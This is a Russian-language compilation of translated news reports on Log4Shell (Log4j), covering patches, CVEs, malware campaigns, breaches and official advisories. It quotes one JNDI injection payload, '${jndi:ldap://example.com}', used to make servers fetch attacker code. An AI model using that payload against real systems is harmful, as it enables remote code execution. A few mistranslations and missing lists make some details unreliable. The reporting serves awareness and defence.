Фирма по облачной безопасности Praetorian продемонстрировала, что версии Log4j 2.15.0 все еще могут быть использованы для кражи данных на основе DNS с внешних хостов, и работает с Apache для скоординированного раскрытия информации.
.
https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/
С тех пор, как на прошлой неделе началась критическая сага нулевого дня log4j, эксперты по безопасности снова и снова рекомендуют версию 2.16 как самый безопасный выпуск.
Сегодня все меняется с выходом версии 2.17.0, которая исправляет, казалось бы, незначительную, но «высокую» уязвимость отказа в обслуживании (DoS), которая затрагивает log4j 2.16.
И да, эта ошибка DoS имеет еще один идентификатор: CVE-2021-45105.
https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/
Злоумышленники теперь используют критическую уязвимость Apache Log4j под названием Log4Shell для заражения уязвимых устройств с помощью печально известного банковского трояна Dridex или Meterpreter.
Вредоносное ПО Dridex - это банковский троян, изначально разработанный для кражи учетных данных онлайн-банкинга у жертв. Однако со временем вредоносная программа превратилась в загрузчик, который загружает различные модули, которые могут использоваться для выполнения различного вредоносного поведения, такого как установка дополнительных полезных нагрузок, распространение на другие устройства, создание снимков экрана и многое другое.
Также известно, что заражение Dridex приводит к атакам программ-вымогателей в результате операций, которые, как считается, связаны с хакерской группой Evil Corp. Эти заражения программами-вымогателями включают BitPaymer, DoppelPaymer и, возможно, другие варианты программ-вымогателей ограниченного использования.
Log4j используется для установки Dridex и Meterpreter
Сегодня исследовательская группа по кибербезопасности Cryptolaemus предупредила, что уязвимость Log4j теперь используется для заражения устройств Windows трояном Dridex и устройств Linux с помощью Meterpreter.
Член Cryptolaemus Джозеф Роузен сообщил, что злоумышленники используют вариант эксплойта Log4j RMI (Remote Method Invocation), чтобы заставить уязвимые устройства загружать и выполнять класс Java с удаленного сервера, управляемого злоумышленником.
При запуске класс Java сначала попытается загрузить и запустить HTA-файл с разных URL-адресов, который установит троян Dridex. Если он не может выполнять команды Windows, он будет считать, что устройство работает под управлением Linux / Unix, и загрузит и выполнит сценарий Python для установки Meterpreter.
Запуск Meterpreter в системе Linux предоставит злоумышленникам удаленную оболочку, которую они могут использовать для развертывания дополнительных полезных нагрузок или выполнения команд.
В Windows класс Java загрузит файл HTA и откроет его, что приведет к созданию файла VBS в папке C: \ ProgramData. Этот файл VBS действует как основной загрузчик для Dridex и ранее уже использовался в других кампаниях электронной почты Dridex.
При запуске файл VBS проверяет, является ли пользователь частью домена Windows, проверяя различные переменные среды. Если пользователь является частью домена, файл VBS загрузит Dridex DLL и выполнит ее с помощью Rundll32.exe, как показано ниже.
Как было сказано ранее, если исходный эксплойт класса Java не может запускать команды Windows, он будет считать, что используется устройство Unix / Linux, и вместо этого загрузит скрипт python m.py.
Вышеупомянутый сценарий содержит сценарий в кодировке base64, который будет выполнен для установки Meterpreter, инструмента тестирования на проникновение, который обеспечивает обратную оболочку для злоумышленников.
Используя Meterpreter, злоумышленники могут подключаться к взломанному серверу Linux и удаленно выполнять команды для дальнейшего распространения в сети, кражи данных или развертывания программ-вымогателей.
Поскольку Log4j используется злоумышленниками для установки широкого спектра вредоносных программ, неудивительно, что более активные вредоносные операции начнут нацеливаться на уязвимость.
Мы должны ожидать, что другие вредоносные программы начнут использовать эту уязвимость для компрометации серверов и внутренних корпоративных сетей. Поэтому всем организациям настоятельно рекомендуется сканировать уязвимые приложения, использующие Log4j, и обновлять их до последних версий.
Это включает обновление Log4j до последней версии, теперь версии 2.17, выпущенной в эту субботу, чтобы исправить новую уязвимость отказа в обслуживании.
Доступно множество сканеров Log4j, которые можно использовать для поиска уязвимых приложений, включая новый локальный сканер из системы безопасности Profero.
https://www.bleepingcomputer.com/news/security/log4j-vulnerability-now-used-to-install-dridex-banking-malware/
Агентство кибербезопасности и безопасности инфраструктуры (CISA) объявило о выпуске сканера для выявления веб-сервисов, подверженных двум уязвимостям удаленного выполнения кода Apache Log4j, которые отслеживаются как CVE-2021-44228 и CVE-2021-45046.
«log4j-scanner - это проект, созданный другими членами сообщества разработчиков ПО с открытым исходным кодом командой CISA Rapid Action Force, чтобы помочь организациям выявлять потенциально уязвимые веб-сервисы, затронутые уязвимостями log4j», - поясняет агентство по кибербезопасности.
Это решение для сканирования основано на аналогичных инструментах, в том числе на платформе автоматического сканирования на предмет ошибки CVE-2021-44228 (названной & Log4Shell) и разработанной компанией FullHunt, занимающейся кибербезопасностью.
Этот инструмент позволяет группам безопасности сканировать сетевые узлы на предмет обнаружения Log4j RCE и обнаруживать обходы брандмауэра веб-приложений (WAF), которые могут позволить злоумышленникам получить выполнение кода в среде организации.
CISA выделяет следующие функции на странице проекта log4j-scanner:
Поддержка списков URL-адресов.
Фаззинг для более чем 60 заголовков HTTP-запросов (а не только 3-4 заголовков, как видели ранее инструменты).
Фаззинг для параметров HTTP POST Data.
Фаззинг для параметров данных JSON.
Поддерживает обратный вызов DNS для обнаружения и проверки уязвимостей.
Полезные данные обхода WAF.
Ответ CISA Log4Shell
Это лишь последний шаг, сделанный CISA, чтобы помочь государственным и частным организациям отреагировать на продолжающиеся атаки, злоупотребляя этими критическими недостатками безопасности в библиотеке журналов Apache Log4j.
Агентство также разработало совместный совет, выпущенный сегодня агентствами по кибербезопасности по всему миру и федеральными агентствами США с рекомендациями по смягчению последствий для уязвимостей CVE-2021-44228, CVE-2021-45046 и CVE-2021-45105 Log4j.
CISA также возглавляет инициативу по срочному исправлению устройств, уязвимых для атак Log4Shell, чтобы заблокировать попытки злоумышленников использовать уязвимые системы Log4Shell и заразить их вредоносным ПО.
В пятницу CISA приказало агентствам федеральной гражданской исполнительной власти внести исправления в свои системы против Log4Shell до 23 декабря. Агентство по кибербезопасности также недавно добавило недостаток в Каталог известных эксплуатируемых уязвимостей, что также потребовало от федеральных агентств ускоренных действий по устранению этого критического недостатка до декабря. 24.
https://www.bleepingcomputer.com/news/security/cisa-releases-apache-log4j-scanner-to-find-vulnerable-apps/
NVIDIA выпустила рекомендации по безопасности, в которых подробно описывается, какие продукты подвержены уязвимости Log4Shell, которая в настоящее время используется в широком спектре атак по всему миру.
После тщательного расследования NVIDIA пришла к выводу, что уязвимости Log4j не затрагивают следующие продукты:
Обновление GeForce Experience
Несмотря на то, что NVIDIA не имеет отношения к Log4j,
Эта уязвимость представляет собой проблему с авторизацией пользователя, которая может привести к повышению привилегий, раскрытию информации, подделке данных и отказу в обслуживании.
Все версии до 3.24.0.126 подвержены этой серьезной уязвимости. Запуск программного обеспечения запускает автоматическое обновление.
GeForce Experience - это сопутствующее приложение, которое помогает пользователям обновлять драйверы графических процессоров, оптимизировать настройки игры и т. Д. Однако пользователи всегда могут получить обновления драйверов непосредственно с веб-сайта NVIDIA и установить их вручную.
Это означает, что если вы не используете приложение для повышения производительности в играх, вы можете безопасно удалить его из своей системы и на данный момент беспокоиться о безопасности на одну меньше.
https://www.bleepingcomputer.com/news/security/nvidia-discloses-applications-impacted-by-log4j-vulnerability/
Apache выпустил еще одну версию Log4j, 2.17.1, в которой исправлена недавно обнаруженная уязвимость удаленного выполнения кода (RCE) в 2.17.0, отслеживаемая как CVE-2021-44832.
До сегодняшнего дня 2.17.0 была самой последней версией Log4j и считалась самой безопасной версией для обновления, но теперь этот совет претерпел изменения.
Пятый CVE Log4j менее чем за месяц
Учитывая широкое использование Log4j в большинстве приложений Java, Log4Shell вскоре превратился в кошмар для предприятий и правительств во всем мире.
Хотя критический риск, связанный с исходным эксплойтом Log4Shell, является первостепенным, более мягкие варианты уязвимости появились в версиях Log4j, включая 2.15 и 2.16, которые ранее считались полностью исправленными.
BleepingComputer ранее сообщал о четырех различных CVE, влияющих на Log4j, и об одном, обнаруженном во фреймворке logback. После обнаружения ошибки DoS в версии 2.16 совет быстро перешел в сторону обновления до версии 2.17.0, которая считается самой безопасной из всех.
Но теперь пятая уязвимость - ошибка RCE, отслеживаемая как CVE-2021-44832, была обнаружена в 2.17.0 с исправлением, примененным к последней версии 2.17.1, которая отсутствует.
Уязвимость, получившая оценку «Умеренная» по шкале CVSS и получившая оценку 6,6 по шкале CVSS, связана с отсутствием дополнительных элементов управления доступом JDNI в log4j.
«JDBC Appender должен использовать JndiManager при доступе к JNDI. Доступ к JNDI должен контролироваться через системное свойство», - говорится в описании проблемы.
«Относится к CVE-2021-44832, где злоумышленник с разрешением на изменение файла конфигурации ведения журнала может создать вредоносную конфигурацию, используя JDBC Appender с источником данных, ссылающимся на JNDI URI, который может выполнять удаленный код».
Исследователь безопасности Checkmarx Yaniv Nizry заявил об уязвимости в Apache.
До сих пор уязвимости log4j использовались всевозможными злоумышленниками для внедрения майнеров Monero в уязвимые системы.
Conti наблюдает за уязвимыми серверами VMWare vCenter. В то время как злоумышленники, взломавшие вьетнамскую криптоплатформу ONUS через log4shell, потребовали выкуп в размере 5 миллионов долларов.
Пользователи Log4j должны немедленно перейти на последнюю версию 2.17.1 (для Java 8). Также ожидается, что в ближайшее время будут выпущены обратно перенесенные версии 2.12.4 (Java 7) и 2.3.2 (Java 6), содержащие исправление.
https://www.bleepingcomputer.com/news/security/log4j-2171-out-now-fixes-new-remote-code-execution-bug/
Достаточно скоро злоумышленники обратились в ONUS с просьбой вымогать сумму в 5 миллионов долларов и пригрозили опубликовать данные о клиентах, если ONUS откажется подчиниться.
После отказа компании заплатить выкуп злоумышленники выставили на форумах данные о почти 2 миллионах клиентов ONUS.
Платежное программное обеспечение работало с уязвимой версией log4j
9 декабря PoC-эксплойт для пресловутой уязвимости Log4Shell (CVE-2021-44228) просочился на GitHub. И это привлекло внимание злоумышленников, которые начали массовое сканирование Интернета на предмет уязвимых серверов.
В период с 11 по 13 декабря злоумышленники успешно использовали уязвимость Log4Shell на сервере Cyclos ONUS и установили бэкдоры для устойчивого доступа.
Cyclos предоставляет ряд программных решений для торговых точек и платежных систем, и, как и большинство поставщиков, использовала уязвимую версию log4j в своем программном обеспечении.
Несмотря на то, что ONUS внесла исправления в свой экземпляр Cyclos, окно обнаружения дало злоумышленникам достаточно времени для эксфильтрации конфиденциальных баз данных.
Эти базы данных содержат почти 2 миллиона записей о клиентах, включая данные E-KYC (знай своего клиента), личную информацию и хешированные пароли.
Рабочие процессы E-KYC, используемые банками и компаниями FinTech, обычно включают в себя получение от клиентов некоторых форм документов, удостоверяющих личность, и доказательств, а также «видеоселфи» для автоматической проверки.
Интересно, что уязвимость Log4Shell существовала на сервере песочницы, который использовался «только для целей программирования», но позволял злоумышленникам получить дополнительный доступ к конфиденциальным хранилищам данных (корзинам Amazon S3) с производственными данными из-за неправильной конфигурации системы.
Неверно настроенные корзины Amazon S3
Сам по себе взлом - это немного больше, чем просто проблема с Log4j. Эксплойт Log4j мог быть точкой входа для злоумышленников, но неправильный контроль доступа к корзинам Amazon S3 ONUS позволил злоумышленникам получить неправомерный доступ.
«Хакер воспользовался уязвимостью в наборе библиотек в системе ONUS, чтобы проникнуть на сервер песочницы (только для целей программирования)», - поясняет ONUS.
«Однако из-за проблемы конфигурации этот сервер содержит информацию, которая предоставила злоумышленникам доступ к нашей системе хранения данных (Amazon S3) и украла некоторые важные данные. Это приводит к риску утечки личной информации большого числа пользователей. "
Информация о клиентах, полученная злоумышленниками, включает:
Фирма по кибербезопасности CyStack, которая предоставляла услуги ONUS, провела тщательное расследование и опубликовала свои выводы о механике атаки и бэкдоре, установленном злоумышленниками.
https://www.bleepingcomputer.com/news/security/fintech-firm-hit-by-log4j-hack-refuses-to-pay-5-million-ransom/
Национальная служба здравоохранения Великобритании (NHS) опубликовала киберпредупреждение о неизвестной группе угроз, нацеленных на развертывания VMware Horizon с помощью эксплойтов Log4Shell.
Log4Shell — это эксплойт для CVE-2021-44228, критической уязвимости удаленного выполнения произвольного кода в Apache Log4j 2.14, которая активно и массово эксплуатируется с декабря 2021 года.
Apache устранил вышеупомянутую и еще четыре уязвимости с помощью последующих обновлений безопасности, и теперь Log4j версии 2.17.1 считается достаточно безопасным.
Ориентация на Apache Tomcat в VMware Horizon
Согласно уведомлению NHS, злоумышленник использует эксплойт для удаленного выполнения кода в уязвимых развертываниях VMware Horizon в общедоступной инфраструктуре.
«Атака, вероятно, состоит из фазы разведки, когда злоумышленник использует Java Naming and Directory InterfaceTM (JNDI) через полезные нагрузки Log4Shell для обратного вызова вредоносной инфраструктуры», — поясняется в предупреждении.
«После выявления уязвимости атака использует облегченный протокол доступа к каталогам (LDAP) для извлечения и выполнения вредоносного файла класса Java, который внедряет веб-оболочку в службу VM Blast Secure Gateway».
«Затем веб-оболочка может использоваться злоумышленником для выполнения ряда вредоносных действий, таких как развертывание дополнительного вредоносного программного обеспечения, эксфильтрация данных или развертывание программ-вымогателей».
Эксплуатация начинается с простой и широко используемой полезной нагрузки «${jndi:ldap://example.com}» и порождает следующую команду PowerShell от Tomcat.
Эта команда вызывает службу win32, чтобы получить список имен служб «VMBlastSG», получить пути, изменить «absg-worker.js», чтобы удалить прослушиватель, а затем перезапустить службу для активации имплантата.
Затем прослушиватель отвечает за выполнение произвольных команд, полученных через HTTP/HTTPS, в виде объектов заголовка с жестко заданной строкой.
VMware Horizon — не единственный продукт VMware, на который нацелены злоумышленники, использующие уязвимость Log4j.
Программа-вымогатель Conti также использует Log4Shell для бокового распространения на уязвимые серверы VMware vCenter, чтобы упростить шифрование виртуальных машин.
Доступны обновления безопасности
В прошлом месяце VMware выпустила обновление безопасности для Horizon и других продуктов, исправив CVE-2021-44228 и CVE-2021-45046 с версиями 2111, 7.13.1 и 7.10.3.
Таким образом, всем администраторам VMware Horizon настоятельно рекомендуется установить обновления безопасности как можно скорее.
В отчете NHS также выделяются следующие три признака активного использования уязвимых систем:
https://www.bleepingcomputer.com/news/security/nhs-warns-of-hackers-exploiting-log4shell-in-vmware-horizon/
Night Sky начала использовать критическую уязвимость CVE-2021-44228 в библиотеке журналов Log4j, также известную как Log4Shell, чтобы получить доступ к системам VMware Horizon.
Злоумышленник нацелен на уязвимые машины, выставленные в общедоступной сети с доменов, которые выдают себя за законные компании, некоторые из которых работают в сфере технологий и кибербезопасности.
Night Sky, обнаруженная в конце декабря 2021 года исследователем безопасности MalwareHunterTeam, нацелена на блокировку корпоративных сетей. Он зашифровал несколько жертв, требуя от одной из них выкуп в размере 800 000 долларов.
В понедельник Microsoft опубликовала предупреждение о новой кампании китайского субъекта, которого она отслеживает как DEV-0401, с целью использования уязвимости Log4Shell в системах VMware Horizon, представленных в Интернете, и развертывания программы-вымогателя Night Sky.
Это также решение для администраторов, позволяющее улучшить управление, соблюдение требований безопасности и автоматизацию всего парка виртуальных систем.
VMware исправила Log4Shell в продуктах Horizon и предоставила обходные пути для клиентов, которые не смогли установить новую версию, содержащую исправление (2111, 7.13.1, 7.10.3). Однако некоторым компаниям еще предстоит применить исправление.
Компания добавляет, что группа известна тем, что в прошлом развертывала другие семейства программ-вымогателей, такие как LockFile, AtomSilo и Rook.
Предыдущие атаки этого субъекта также использовали проблемы безопасности в системах с выходом в Интернет, таких как Confluence (CVE-2021-26084) и на локальных серверах Exchange (CVE-2021-34473 — ProxyShell). Считается, что Night Sky является продолжением вышеупомянутых операций с вымогателями.
Предупреждение Microsoft последовало за другим предупреждением Национальной службы здравоохранения Великобритании (NHS) от 5 января о том, что злоумышленники атакуют развертывания VMware Horizon с помощью эксплойтов Log4Shell.
Привлекательный вектор атаки
Log4Shell является привлекательным вектором атаки как для национальных хакеров, так и для киберпреступников, поскольку компонент Log4J с открытым исходным кодом присутствует в широком спектре систем от десятков поставщиков.
Одной из первых групп вымогателей «высшего уровня», которые интегрировали Log4Shell в свои атаки, является Conti, которая проявила интерес к нему как к потенциальному пути атаки 12 декабря, всего через три дня после первого доказательства концепции (PoC). стал публичным.
Обновление [11 января, 08:57 EST]: добавлена информация о том, что программа-вымогатель Night Sky является ответвлением программы-вымогателя Rook.
https://www.bleepingcomputer.com/news/security/night-sky-ransomware-uses-log4j-bug-to-hack-vmware-horizon-servers/
VMware призывает клиентов исправить критические уязвимости системы безопасности Log4j, влияющие на открытые в Интернете серверы VMware Horizon, являющиеся объектами продолжающихся атак.
Согласно недавнему отчету NHS Digital о системах VMware Horizon, атакованных с помощью эксплойтов Log4Shell, после успешной эксплуатации злоумышленники развертывают собственные веб-оболочки в службе VM Blast Secure Gateway, чтобы получить доступ к сетям организаций.
Это позволяет им выполнять различные вредоносные действия, включая кражу данных и развертывание дополнительных вредоносных программ, таких как программы-вымогатели.
Две недели назад Microsoft также предупредила о китайскоязычном злоумышленнике, отслеживаемом как DEV-0401, который развертывает программу-вымогатель Night Sky на серверах VMware Horizon, доступных в Интернете, с использованием эксплойтов Log4Shell.
В сегодняшнем электронном письме представители VMware заявили, что настоятельно призывают клиентов установить исправления на свои серверы Horizon для защиты от этих активных атак.
«Даже несмотря на предупреждения VMware о безопасности и продолжающиеся усилия по установлению прямых контактов с клиентами, мы по-прежнему видим, что некоторые компании не установили исправления»
«Продукты VMware Horizon подвержены критическим уязвимостям Apache Log4j/Log4Shell, если они не будут должным образом исправлены или смягчены с использованием информации, представленной в нашем бюллетене по безопасности, VMSA 2021-0028, который был впервые опубликован 10 декабря 2021 года и регулярно обновляется новой информацией.
«Клиенты, которые не применили ни исправление, ни последнее обходное решение, представленное в рекомендациях по безопасности VMware, рискуют быть скомпрометированными — или, возможно, уже были скомпрометированы — злоумышленниками, которые используют уязвимость Apache Log4shell для активной компрометации неисправленных подключенных к Интернету серверов».
«VMware настоятельно рекомендует клиентам посетить VMSA-2021-0028 и применить руководство для Horizon. VMware уделяет первостепенное внимание безопасности наших клиентов, поскольку мы продолжаем реагировать на влияние уязвимостей Apache Log4j на всю отрасль».
https://www.bleepingcomputer.com/news/security/vmware-patch-horizon-servers-against-ongoing-log4j-attacks/
Уязвимости Log4Shell в широко используемом программном обеспечении Log4j до сих пор используются злоумышленниками для развертывания различных полезных нагрузок вредоносного ПО, включая включение устройств в ботнеты DDoS и установку криптомайнеров.
Согласно отчету Barracuda, последние несколько месяцев характеризовались резкими скачками и провалами в нацеливании на Log4Shell, но количество попыток эксплуатации оставалось относительно постоянным.
Проанализировав эти атаки, компания Barracuda определила, что большинство попыток эксплуатации было совершено с IP-адресов в США, за которыми следуют Япония, Центральная Европа и Россия.
В декабре 2021 года исследователи обнаружили, что Log4j версии 2.14.1 и все предыдущие версии уязвимы для CVE-2021-44228, получившей название «Log4Shell», критической уязвимости удаленного выполнения кода нулевого дня.
Apache, разработчик Log4j, попытался решить проблему, выпустив версию 2.15.0. Однако последующие обнаруженные уязвимости и бреши в системе безопасности продлили гонку исправлений до конца года, когда в версии 2.17.1 наконец были устранены все проблемы.
Однако, по словам Barracuda, многие системы продолжают работать со старыми версиями популярной среды ведения журналов и, таким образом, уязвимы для эксплуатации.
Исследователи Barracuda обнаружили различные полезные нагрузки, нацеленные на уязвимые развертывания Jog4j, но на данный момент производные ботнета Mirai, похоже, занимают львиную долю.
Вредоносная программа Mirai нацелена на общедоступные сетевые камеры, маршрутизаторы и другие устройства и вовлекает их в бот-сеть удаленно управляемых ботов. Злоумышленник затем может управлять этой ботнетом для выполнения DDoS-атак на конкретную цель, снижая их ресурсы и нарушая работу их онлайн-сервиса.
Как поясняется в отчете Barracuda, Mirai распространяется в различных формах и из разных источников, что указывает на то, что операторы пытаются создать большую бот-сеть, нацеленную на жертв всех размеров в будущем.
Злоумышленники, стоящие за этими операциями, либо сдают в аренду свою огневую мощь ботнета другим, либо сами запускают DDoS-атаки, чтобы вымогать деньги у компаний.
Другие полезные нагрузки, которые были удалены недавней эксплуатацией Log4j, включают:
BillGates malware (DDoS)
Kinsing (cryptominer)
XMRig (cryptominer)
Muhstik (DDoS)
Аналитики Barracuda говорят, что они не видели групп вымогателей, использующих общедоступные установки VMWare, и считают, что это используется скорее как внутренняя угроза для уже скомпрометированных сетей.
Например, программа-вымогатель Conti использовала эксплойты Log4j для бокового распространения на установки VMware vCenter.
Постоянная угроза
Самый простой способ защититься от этих типов атак — обновить Log4j до версии 2.17.1 или выше и в целом поддерживать актуальность всех ваших веб-приложений.
Поскольку большинство устройств, на которые нацелен Mirai, не позволяют обновлять отдельные пакеты, вам необходимо проверить наличие обновленной прошивки, содержащей исправления Log4j, и применить их, если они доступны.
В то время как Barracuda сообщает о стабильном количестве атак Log4Shell, Sophos недавно сообщила о снижении. Однако все аналитики сходятся во мнении, что угроза сохраняется.
https://www.bleepingcomputer.com/news/security/log4shell-exploits-now-used-mostly-for-ddos-botnets-cryptominers/
CISA предупредила сегодня, что злоумышленники, хакерские группы, по-прежнему нацелены на серверы VMware Horizon и Unified Access Gateway (UAG), используя уязвимость удаленного выполнения кода Log4Shell (CVE-2021-44228).
Злоумышленники могут удаленно использовать Log4Shell на уязвимых серверах с локальным доступом или доступом в Интернет для перемещения в горизонтальном направлении по сети, пока они не получат доступ к внутренним системам, содержащим конфиденциальные данные.
После его раскрытия в декабре 2021 года несколько злоумышленников начали сканировать и использовать незащищенные системы, хакерские группы, а также несколько брокеров доступа, обычно используемых группами ransomware.
Сегодня в совместном консультативном заключении с Киберкомандованием береговой охраны США (CGCYBER) агентство кибербезопасности заявило, что серверы были скомпрометированы с использованием эксплойтов Log4Shell для получения начального доступа к сетям целевых организаций.
После взлома сетей они развернули различные штаммы вредоносных программ, предоставив им удаленный доступ, необходимый для развертывания дополнительных полезных нагрузок и кражи сотен гигабайт конфиденциальной информации.
«В рамках этой эксплуатации подозреваемые в APT злоумышленники внедрили вредоносное ПО-загрузчик в скомпрометированные системы со встроенными исполняемыми файлами, обеспечивающими удаленное управление и контроль (C2)», — говорится в бюллетене.
«В одном подтвержденном взломе эти субъекты APT смогли перемещаться внутри сети, получать доступ к сети аварийного восстановления, а также собирать и эксфильтровать конфиденциальные данные».
Неисправленные системы VMware следует считать скомпрометированными.
Организациям, которые еще не исправили свои серверы VMware, рекомендуется пометить их как взломанные и начать процедуры реагирования на инциденты (IR).
Шаги, необходимые для надлежащего реагирования в такой ситуации, включают немедленную изоляцию потенциально затронутых систем, сбор и просмотр соответствующих журналов и артефактов, привлечение сторонних экспертов по связям с инвесторами (при необходимости) и сообщение об инциденте в CISA.
«CISA и CGCYBER рекомендуют всем организациям с уязвимыми системами, которые не сразу применили доступные исправления или обходные пути, предположить компрометацию и начать действия по поиску угроз, используя IOC, представленные в этом CSA, отчете об анализе вредоносных программ (MAR)-10382580-1 и MAR-10382254. -1», — сообщили в двух агентствах.
«Если обнаружена потенциальная угроза, администраторы должны применить рекомендации по реагированию на инциденты, включенные в этот CSA, и сообщить об основных результатах в CISA».
Сегодняшние рекомендации были опубликованы после того, как в январе VMware также призвала клиентов защитить серверы VMware Horizon, открытые для Интернета, от продолжающихся атак Log4Shell.
С начала года серверы VMware Horizon стали мишенью злоумышленников для развертывания программы-вымогателя Night Sky, APT-программы Lazarus для развертывания похитителей информации и хакерской группы TunnelVision, для развертывания бэкдоров.
Пока вы не сможете установить исправленные сборки, обновив все затронутые серверы VMware Horizon и UAG до последних версий, вы можете уменьшить поверхность атаки, «разместив основные службы в отдельной демилитаризованной (DMZ) зоне», развернув брандмауэры веб-приложений (WAF) и «обеспечение строгого контроля доступа к периметру сети».
https://www.bleepingcomputer.com/news/security/cisa-log4shell-exploits-still-being-used-to-hack-vmware-servers/